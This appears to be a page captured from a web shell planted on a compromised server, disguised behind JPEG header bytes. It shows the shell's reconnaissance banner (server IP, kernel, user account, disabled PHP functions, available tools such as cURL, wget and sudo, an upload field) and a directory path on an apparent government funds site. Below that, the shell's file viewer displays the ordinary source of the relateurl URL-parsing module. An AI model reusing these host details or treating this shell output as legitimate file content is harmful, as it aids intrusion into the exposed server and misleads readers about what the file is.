ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.133.129.97 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/relateurl/lib/parse/ |
Upload File : |
"use strict"; var _parseUrl = require("url").parse; /* Customize the URL object that Node generates because: * necessary data for later * urlObj.host is useless * urlObj.hostname is too long * urlObj.path is useless * urlObj.pathname is too long * urlObj.protocol is inaccurate; should be called "scheme" * urlObj.search is mostly useless */ function clean(urlObj) { var scheme = urlObj.protocol; if (scheme) { // Remove ":" suffix if (scheme.indexOf(":") === scheme.length-1) { scheme = scheme.substr(0, scheme.length-1); } } urlObj.host = { // TODO :: unescape(encodeURIComponent(s)) ? ... http://ecmanaut.blogspot.ca/2006/07/encoding-decoding-utf8-in-javascript.html full: urlObj.hostname, stripped: null }; urlObj.path = { absolute: { array: null, string: urlObj.pathname }, relative: { array: null, string: null } }; urlObj.query = { object: urlObj.query, string: { full: null, stripped: null } }; urlObj.extra = { hrefInfo: { minimumPathOnly: null, minimumResourceOnly: null, minimumQueryOnly: null, minimumHashOnly: null, empty: null, separatorOnlyQuery: urlObj.search==="?" }, portIsDefault: null, relation: { maximumScheme: null, maximumAuth: null, maximumHost: null, maximumPort: null, maximumPath: null, maximumResource: null, maximumQuery: null, maximumHash: null, minimumScheme: null, minimumAuth: null, minimumHost: null, minimumPort: null, minimumPath: null, minimumResource: null, minimumQuery: null, minimumHash: null, overridesQuery: null }, resourceIsIndex: null, slashes: urlObj.slashes }; urlObj.resource = null; urlObj.scheme = scheme; delete urlObj.hostname; delete urlObj.pathname; delete urlObj.protocol; delete urlObj.search; delete urlObj.slashes; return urlObj; } function validScheme(url, options) { var valid = true; options.rejectedSchemes.every( function(rejectedScheme) { valid = !(url.indexOf(rejectedScheme+":") === 0); // Break loop return valid; }); return valid; } function parseUrlString(url, options) { if ( validScheme(url,options) ) { return clean( _parseUrl(url, true, options.slashesDenoteHost) ); } else { return {href:url, valid:false}; } } module.exports = parseUrlString;